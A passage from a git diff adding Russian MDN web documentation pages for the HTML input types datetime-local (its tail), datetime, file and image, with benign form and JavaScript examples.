+  // to that day, to avoid the day jumping back to 1 when you
+  // change the year
+  if(previousDay) {
+    daySelect.value = previousDay;
+
+    // If the previous day was set to a high number, say 31, and then
+    // you chose a month with less total days in it (e.g. February),
+    // this part of the code ensures that the highest day available
+    // is selected, rather than showing a blank daySelect
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 1;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 2;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 3;
+    }
+  }
+}
+
+function populateYears() {
+  // get this year as a number
+  var date = new Date();
+  var year = date.getFullYear();
+
+  // Make this year, and the 100 years before it available in the year &lt;select&gt;
+  for(var i = 0; i &lt;= 100; i++) {
+    var option = document.createElement('option');
+    option.textContent = year-i;
+    yearSelect.appendChild(option);
+  }
+}
+
+function populateHours() {
+  // populate the hours &lt;select&gt; with the 24 hours of the day
+  for(var i = 0; i &lt;= 23; i++) {
+    var option = document.createElement('option');
+    option.textContent = (i &lt; 10) ? ("0" + i) : i;
+    hourSelect.appendChild(option);
+  }
+}
+
+function populateMinutes() {
+  // populate the minutes &lt;select&gt; with the 60 hours of each minute
+  for(var i = 0; i &lt;= 59; i++) {
+    var option = document.createElement('option');
+    option.textContent = (i &lt; 10) ? ("0" + i) : i;
+    minuteSelect.appendChild(option);
+  }
+}
+
+// when the month or year &lt;select&gt; values are changed, rerun populateDays()
+// in case the change affected the number of available days
+yearSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+monthSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+//preserve day selection
+var previousDay;
+
+// update what day has been set to previously
+// see end of populateDays() for usage
+daySelect.onchange = function() {
+  previousDay = daySelect.value;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#local-date-and-time-state-(type=datetime-local)', '&lt;input type="datetime-local"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html##local-date-and-time-state-(type=datetime-local)', '&lt;input type="datetime-local"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20</td>
+   <td>12</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is not implemented yet. See {{bug("888320")}} and <a href="https://wiki.mozilla.org/TPE_DOM/Date_time_input_types">TPE DOM/Date time input types</a>.</p>
+
+<p>[2] It is recognized but there is no UI.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The generic {{HTMLElement("input")}} element and the interface used to manipulate it, {{domxref("HTMLInputElement")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms/The_native_form_widgets#Date_and_time_picker">Date and Time picker tutorial</a></li>
+</ul>
diff --git a/files/ru/web/html/element/input/datetime/index.html b/files/ru/web/html/element/input/datetime/index.html
new file mode 100644
index 0000000000..6b6b0a2292
--- /dev/null
+++ b/files/ru/web/html/element/input/datetime/index.html
@@ -0,0 +1,29 @@
+---
+title: <input type="datetime">
+slug: Web/HTML/Element/Input/datetime
+tags:
+  - Element
+  - HTML
+  - HTML формы
+  - Reference
+  - datetime
+  - Устаревший
+  - Формы
+  - Элемент
+  - Элемент ввода
+translation_of: Web/HTML/Element/input/datetime
+---
+<div>{{HTMLRef}}{{obsolete_header}}</div>
+
+<p>HTML <code>&lt;input type="datetime"&gt;</code>  был элементом для ввода даты и времени (час, минута, секунда и доля секунды), а также часовой пояс. <strong>Эта функция была <a class="external external-icon" href="https://github.com/whatwg/html/issues/336">удалена из WHATWG HTML</a></strong> и больше не поддерживается в браузерах.</p>
+
+<p>Вместо этого, браузеры реализуют (и разработчикам рекомендуется использовать)  <code><a href="/ru/docs/Web/HTML/Element/input/datetime-local">&lt;input type="datetime-local"&gt;</a></code>.</p>
+
+<p>Формат значений даты и времени, использумый этим типом описан в {{SectionOnPage("/ru/docs/Web/HTML/Date_and_time_formats", "Строки глобальной даты и времени")}}.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("input")}}</li>
+ <li><a href="/ru/docs/Web/HTML/Date_and_time_formats">Форматы даты и времени используемые в HTML</a></li>
+</ul>
diff --git a/files/ru/web/html/element/input/file/index.html b/files/ru/web/html/element/input/file/index.html
new file mode 100644
index 0000000000..7e47d3be03
--- /dev/null
+++ b/files/ru/web/html/element/input/file/index.html
@@ -0,0 +1,439 @@
+---
+title: <input type="file">
+slug: Web/HTML/Element/Input/file
+translation_of: Web/HTML/Element/input/file
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{HTMLElement("input")}} элемент с атрибутом <strong><code>type="file"</code></strong> позволяет пользователю выбрать один файл или более из файлового хранилища своего устройства. После выбора эти файлы могут быть загружены на сервер при помощи <a href="/ru/docs/Learn/HTML/Forms">формы</a>, или обработаны JavaScript и <a href="/en-US/docs/Using_files_from_web_applications">File API</a>.</span></p>
+
+<div id="file-example">
+<pre class="brush: html">&lt;input name="myFile" type="file"&gt;
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('file-example', 650, 40)}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>{{domxref("DOMString")}} представляет собой путь до выбранного файла.</td>
+  </tr>
+  <tr>
+   <td><strong>Действия</strong></td>
+   <td>{{event("change")}} и{{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Поддерживаемые атрибуты</strong></td>
+   <td>{{htmlattrxref("accept", "input")}}, {{htmlattrxref("multiple", "input")}}, {{htmlattrxref("required", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL атрибуты</strong></td>
+   <td><code>files</code> and <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Методы</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value">Value</h2>
+
+<p>Атрибут {{htmlattrxref("value", "input")}} элемента input содержит {{domxref("DOMString")}}, который представляет путь к выбранным файлам. Если пользователь выбрал несколько файлов, <code>value</code> представляет первый файл из списка. Отстальные файлы можно определить используя {{domxref("HTMLInputElement.files")}} свойство элемента input.</p>
+
+<div class="note"><strong>Note:</strong>
+
+<ol>
+ <li>Если выбрано несколько файлов, строка представляет собой первый выбранный файл. JavaScript предоставляет доступ к остальным файлам через свойство <a href="/en-US/docs/Using_files_from_web_applications#Getting_information_about_selected_file(s)"><code>FileList</code></a>.</li>
+ <li>Если не выбрано ни одного файла, .строка равна <code>""</code> (пустая).</li>
+ <li>Строка <a href="https://html.spec.whatwg.org/multipage/input.html#fakepath-srsly">начинается с  <code>C:\fakepath\</code></a>,  для предотвращения определения файловой структуры пользователя вредоносным ПО.</li>
+</ol>
+</div>
+
+<h2 id="Additional_attributes">Additional attributes</h2>
+
+<p>In addition to the common attributes shared by all {{HTMLElement("input")}} elements, inputs of type <code>file</code> also support:</p>
+
+<dl>
+ <dt><code>files</code></dt>
+ <dd>A {{domxref("FileList")}} object that lists every selected file. This list has no more than one member unless the {{htmlattrxref("multiple", "input")}} attribute is specified.</dd>
+</dl>
+
+<h2 id="Using_file_inputs">Using file inputs</h2>
+
+<h3 id="A_basic_example">A basic example</h3>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+ &lt;div&gt;
+   &lt;label for="file"&gt;Choose file to upload&lt;/label&gt;
+   &lt;input type="file" id="file" name="file" multiple&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+   &lt;button&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>This produces the following output:</p>
+
+<p>{{EmbedLiveSample('A_basic_example', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this example on GitHub too — see the <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/simple-file.html">source code</a>, and also <a href="https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html">see it running live</a>.</p>
+</div>
+
+<p>Regardless of the user's device or operating system, the file input provides a button that opens up a file picker dialog that allows the user to choose a file.</p>
+
+<p>Including the {{htmlattrxref("multiple", "input")}} attribute, as shown above, specifies that multiple files can be chosen at once. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down <kbd>Shift</kbd> or <kbd>Control</kbd>, and then clicking). If you only want the user to choose a single file per <code>&lt;input&gt;</code>, omit the <code>multiple</code> attribute.</p>
+
+<p>When the form is submitted, each selected file's name will be added to URL parameters in the following fashion: <code>?file=file1.txt&amp;file=file2.txt</code></p>
+
+<h3 id="Getting_information_on_selected_files">Getting information on selected files</h3>
+
+<p>The selected files' are returned by the element's {{domxref("HTMLElement.files", "files")}} property, which is a {{domxref("FileList")}} object containing a list of {{domxref("File")}} objects. The <code>FileList</code> behaves like an array, so you can check its <code>length</code> property to get the number of selected files.</p>
+
+<p>Each <code>File</code> object contains the following information:</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The file's name.</dd>
+ <dt><code>lastModified</code></dt>
+ <dd>A number specifying the date and time at which the file was last modified, in milliseconds since the UNIX epoch (January 1, 1970 at midnight).</dd>
+ <dt><code>lastModifiedDate</code> {{deprecated_inline}}</dt>
+ <dd>A {{jsxref("Date")}} object representing the date and time at which the file was last modified. <em>This is deprecated and should not be used. Use <code>lastModified</code> instead.</em></dd>
+ <dt><code>size</code></dt>
+ <dd>The size of the file in bytes.</dd>
+ <dt><code>type</code></dt>
+ <dd>The file's <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>.</dd>
+ <dt>webkitRelativePath {{non-standard_inline}}</dt>
+ <dd>A string specifying the file's path relative to the base directory selected in a directory picker (that is, a <code>file</code> picker in which the {{htmlattrxref("webkitdirectory", "input")}} attribute is set). <em>This is non-standard and should be used with caution.</em></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: You can set as well as get the value of <code>HTMLInputElement.files</code> in all modern browsers; this was most recently added to Firefox, in version 57 (see {{bug(1384030)}}).</p>
+</div>
+
+<h3 id="Limiting_accepted_file_types">Limiting accepted file types</h3>
+
+<p>Often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. For example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as <a href="/en-US/docs/Glossary/jpeg">JPEG</a> or <a href="/en-US/docs/Glossary/PNG">PNG</a>.</p>
+
+<p>Acceptable file types can be specified with the {{htmlattrxref("accept","input")}} attribute, which takes a comma-separated list of allowed file extensions or MIME types. Some examples:</p>
+
+<ul>
+ <li><code>accept="image/png"</code> or <code>accept=".png"</code> — Accepts PNG files.</li>
+ <li><code>accept="image/png, image/jpeg"</code> or <code>accept=".png, .jpg, .jpeg"</code> — Accept PNG or JPEG files.</li>
+ <li><code>accept="image/*"</code> — Accept any file with an <code>image/*</code> MIME type. (Many mobile devices also let the user take a picture with the camera when this is used.)</li>
+ <li><code>accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"</code> — accept anything that smells like an MS Word document.</li>
+</ul>
+
+<p>Let's look like a more complete example:</p>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="profile_pic"&gt;Choose file to upload&lt;/label&gt;
+    &lt;input type="file" id="profile_pic" name="profile_pic"
+          accept=".jpg, .jpeg, .png"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>This produces a similar-looking output to the previous example:</p>
+
+<p>{{EmbedLiveSample('Limiting_accepted_file_types', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this example on GitHub too — see the <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-with-accept.html">source code</a>, and also <a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-with-accept.html">see it running live</a>.</p>
+</div>
+
+<p>It may look similar, but if you try selecting a file with this input, you'll see that the file picker only lets you select the file types specified in the <code>accept</code> value (the exact nature differs across browsers and operating systems).</p>
+
+<p><img alt="Screenshot of a macOS file picker dialog. Files other than JPEG are grayed-out and unselectable." src="https://mdn.mozillademos.org/files/15183/file-chooser.png" style="margin: 0 auto;"></p>
+
+<p>The <code>accept</code> attribute doesn't validate the types of the selected files; it simply provides hints for browsers to guide users towards selecting the correct file types. It is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types.</p>
+
+<p>Because of this, you should make sure that the <code>accept</code> attribute is backed up by appropriate server-side validation.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example, we'll present a slightly more advanced file chooser that takes advantage of the file information available in the {{domxref("HTMLInputElement.files")}} property, as well as showing off a few clever tricks.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the complete source code for this example on GitHub — <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-example.html">file-example.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-example.html">see it live also</a>). We won't explain the CSS; the JavaScript is the main focus.</p>
+</div>
+
+<p>First of all, let's look at the HTML:</p>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="image_uploads"&gt;Choose images to upload (PNG, JPG)&lt;/label&gt;
+    &lt;input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple&gt;
+  &lt;/div&gt;
+  &lt;div class="preview"&gt;
+    &lt;p&gt;No files currently selected for upload&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 600px;
+  background: #ccc;
+  margin: 0 auto;
+  padding: 20px;
+  border: 1px solid black;
+}
+
+form ol {
+  padding-left: 0;
+}
+
+form li, div &gt; p {
+  background: #eee;
+  display: flex;
+  justify-content: space-between;
+  margin-bottom: 10px;
+  list-style-type: none;
+  border: 1px solid black;
+}
+
+form img {
+  height: 64px;
+  order: 1;
+}
+
+form p {
+  line-height: 32px;
+  padding-left: 10px;
+}
+
+form label, form button {
+  background-color: #7F9CCB;
+  padding: 5px 10px;
+  border-radius: 5px;
+  border: 1px ridge black;
+  font-size: 0.8rem;
+  height: auto;
+}
+
+form label:hover, form button:hover {
+  background-color: #2D5BA3;
+  color: white;
+}
+
+form label:active, form button:active {
+  background-color: #0D3F8F;
+  color: white;
+}</pre>
+</div>
+
+<p>This is similar to what we've seen before — nothing special to comment on.</p>
+
+<p>Next, let's walk through the JavaScript.</p>
+
+<p>In the first lines of script, we get references to the form input itself, and the {{htmlelement("div")}} element with the class of <code>.preview</code>. Next, we hide the {{htmlelement("input")}} element — we do this because file inputs tend to be ugly, difficult to style, and inconsistent in their design across browsers. You can activate the input element by clicking its {{htmlelement("label")}}, so it is better to visually hide the input and style the label like a button, so the user will know to interact with it if they want to upload files.</p>
+
+<pre class="brush: js">var input = document.querySelector('input');
+var preview = document.querySelector('.preview');
+
+input.style.opacity = 0;</pre>
+
+<div class="note">
+<p><strong>Note:</strong> <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a> is used to hide the file input instead of <a href="/en-US/docs/Web/CSS/visibility"><code>visibility: hidden</code></a> or <a href="/en-US/docs/Web/CSS/display"><code>display: none</code></a>, because assistive technology interprets the latter two styles to mean the file input isn't interactive.</p>
+</div>
+
+<p>Next, we add an <a href="/en-US/docs/Web/API/EventTarget/addEventListener">event listener</a> to the input to listen for changes to its selected value changes (in this case, when files are selected). The event listener invokes our custom <code>updateImageDisplay()</code> function.</p>
+
+<pre class="brush: js">input.addEventListener('change', updateImageDisplay);</pre>
+
+<p>Whenever the <code>updateImageDisplay()</code> function is invoked, we:</p>
+
+<ul>
+ <li>Use a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> loop to empty the previous contents of the preview <code>&lt;div&gt;</code>.</li>
+ <li>Grab the {{domxref("FileList")}} object that contains the information on all the selected files, and store it in a variable called <code>curFiles</code>.</li>
+ <li>Check to see if no files were selected, by checking if<code>curFiles.length</code> is equal to 0. If so, print a message into the preview <code>&lt;div&gt;</code> stating that no files have been selected.</li>
+ <li>If files <em>have</em> been selected, we loop through each one, printing information about it into the preview <code>&lt;div&gt;</code>. Things to note here:</li>
+ <li>We use the custom <code>validFileType()</code> function to check whether the file is of the correct type (e.g. the image types specified in the <code>accept</code> attribute).</li>
+ <li>If it is, we:
+  <ul>
+   <li>Print out its name and file size into a list item inside the previous <code>&lt;div&gt;</code> (obtained from <code>curFiles[i].name</code> and <code>curFiles[i].size</code>). The custom <code>returnFileSize()</code> function returns a nicely-formatted version of the size in bytes/KB/MB (by default the browser reports the size in absolute bytes).</li>
+   <li>Generate a thumbnail preview of the image by calling <code>window.<a href="/en-US/docs/Web/API/URL/createObjectURL">URL.createObjectURL</a>(curFiles[i])</code> and reducing the image size in the CSS, then insert that image into the list item too.</li>
+  </ul>
+ </li>
+ <li>If the file type is invalid, we display a message inside a list item telling the user that they need to select a different file type.</li>
+</ul>
+
+<pre class="brush: js">function updateImageDisplay() {
+  while(preview.firstChild) {
+    preview.removeChild(preview.firstChild);
+  }
+
+  var curFiles = input.files;
+  if(curFiles.length === 0) {
+    var para = document.createElement('p');
+    para.textContent = 'No files currently selected for upload';
+    preview.appendChild(para);
+  } else {
+    var list = document.createElement('ol');
+    preview.appendChild(list);
+    for(var i = 0; i &lt; curFiles.length; i++) {
+      var listItem = document.createElement('li');
+      var para = document.createElement('p');
+      if(validFileType(curFiles[i])) {
+        para.textContent = 'File name ' + curFiles[i].name + ', file size ' + returnFileSize(curFiles[i].size) + '.';
+        var image = document.createElement('img');
+        image.src = window.URL.createObjectURL(curFiles[i]);
+
+        listItem.appendChild(image);
+        listItem.appendChild(para);
+
+      } else {
+        para.textContent = 'File name ' + curFiles[i].name + ': Not a valid file type. Update your selection.';
+        listItem.appendChild(para);
+      }
+
+      list.appendChild(listItem);
+    }
+  }
+}</pre>
+
+<p>The custom <code>validFileType()</code> function takes a {{domxref("File")}} object as a parameter, then loops through the list of allowed file types, checking if any matches the file's <code>type</code> property. If a match is found, the function returns <code>true</code>. If no match is found, it returns <code>false</code>.</p>
+
+<pre class="brush: js">var fileTypes = [
+  'image/jpeg',
+  'image/pjpeg',
+  'image/png'
+]
+
+function validFileType(file) {
+  for(var i = 0; i &lt; fileTypes.length; i++) {
+    if(file.type === fileTypes[i]) {
+      return true;
+    }
+  }
+
+  return false;
+}</pre>
+
+<p>The <code>returnFileSize()</code> function takes a number (of bytes, taken from the current file's <code>size</code> property), and turns it into a nicely formatted size in bytes/KB/MB.</p>
+
+<pre class="brush: js">function returnFileSize(number) {
+  if(number &lt; 1024) {
+    return number + 'bytes';
+  } else if(number &gt; 1024 &amp;&amp; number &lt; 1048576) {
+    return (number/1024).toFixed(1) + 'KB';
+  } else if(number &gt; 1048576) {
+    return (number/1048576).toFixed(1) + 'MB';
+  }
+}</pre>
+
+<p>The example looks like this; have a play:</p>
+
+<p>{{EmbedLiveSample('Examples', '100%', 200)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#file-upload-state-(type=file)', '&lt;input type="file"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#file-upload-state-typefile', '&lt;input type="file"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>iOS WebKit<br>
+    <sup><sub>(Safari/Chrome/Firefox/etc)</sub></sup></th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(4.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> — contains a number of other useful examples related to <code>&lt;input type="file"&gt;</code> and the <a href="/en-US/docs/Web/API/File">File API</a>.</li>
+</ul>
diff --git a/files/ru/web/html/element/input/image/index.html b/files/ru/web/html/element/input/image/index.html
new file mode 100644
index 0000000000..08b69b943a
--- /dev/null
+++ b/files/ru/web/html/element/input/image/index.html
@@ -0,0 +1,205 @@
+---
+title: <input type="image">
+slug: Web/HTML/Element/Input/image
+translation_of: Web/HTML/Element/input/image
+---
+<p><code>&lt;input type="image"&gt; - это кнопка отправки в виде изображения. Вы можете использовать атрибут src, чтобы выбрать источник изображения и атрибут alt, чтобы добавить альтернативный текст. Атрибутами width и height можно указать размер изображения в пикселях.</code></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Нету, это пустой элемент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Необязательный закрывающийся тег</th>
+   <td>Обязательно должен быть открывающийся тег, и обязательно отсутствует закрывающий.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, которому доступен фразообразующий контент (<a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс </th>
+   <td>{{domxref("HTMLInputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этому элементу доступны глобальные атрибуты (<a href="/en-US/docs/HTML/Global_attributes">global attributes</a>).</p>
+
+<p>{{htmlattrdef("type")}}</p>
+
+<dl>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The URI of a program that processes the information submitted by the input element, here image if specified, it overrides the {{htmlattrxref("action","form")}} attribute of the element's form owner.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is an image, this attribute specifies the type of content that is used to submit the form to the server. Possible values are:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: The default value if the attribute is not specified.</li>
+  <li><code>multipart/form-data</code>: Use this value if you are using an {{HTMLElement("input")}} element with the {{htmlattrxref("type","input")}} attribute set to <code>file</code>.</li>
+  <li><code>text/plain</code></li>
+ </ul>
+
+ <p>If this attribute is specified, it overrides the {{htmlattrxref("enctype","form")}} attribute of the element's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>In image input element, this attribute specifies the HTTP method that the browser uses to submit the form. Possible values are:
+ <ul>
+  <li><code>post</code>: The data from the form is included in the body of the form and is sent to the server.</li>
+  <li><code>get</code>: The data from the form is appended to the <strong>form</strong> attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side-effects and contains only ASCII characters.</li>
+ </ul>
+
+ <p>If specified, this attribute overrides the {{htmlattrxref("method","form")}} attribute of the element's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This Boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the {{htmlattrxref("novalidate","form")}} attribute of the element's form owner.</dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute is a name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a <em>browsing context</em> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the element's form owner. The following keywords have special meanings:
+ <ul>
+  <li>_<code>self</code>: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.</li>
+  <li><code>_blank</code>: Load the response into a new unnamed browsing context.</li>
+  <li><code>_parent</code>: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+  <li><code>_top</code>: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("height")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute defines the height of the image displayed for the button.</dd>
+ <dt>{{htmlattrdef("required")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute specifies that the user must fill in a value before submitting a form but it cannot be used when the <strong>type</strong> attribute is <code>image</code> type (<code>submit</code>, <code>reset</code>, or <code>button</code>). The {{cssxref(":optional")}} and {{cssxref(":required")}} CSS pseudo-classes will be applied to the field as appropriate.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>This attribute specifies a URI for the location of an image to display on the graphical submit button; otherwise it is ignored.</dd>
+ <dt>{{htmlattrdef("usemap")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>The name of a {{HTMLElement("map")}} element as an image map.</dd>
+ <dt>{{htmlattrdef("width")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute defines the width of the image displayed for the button.</dd>
+ <dt>
+ <h2 id="Примеры">Примеры</h2>
+ </dt>
+</dl>
+
+<h3 id="simple_input_image_example" name="simple_input_image_example">Поле в виде логотипа Firefox </h3>
+
+<pre class="brush: html">&lt;input type="image" name="image" src="https://mdn.mozillademos.org/files/2917/fxlogo.png" width="50"&gt;</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('simple_input_image_example') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#image-button-state-(type=image)', '&lt;input type="image"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#image-button-state-%28type=image%29', '&lt;input type="image"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
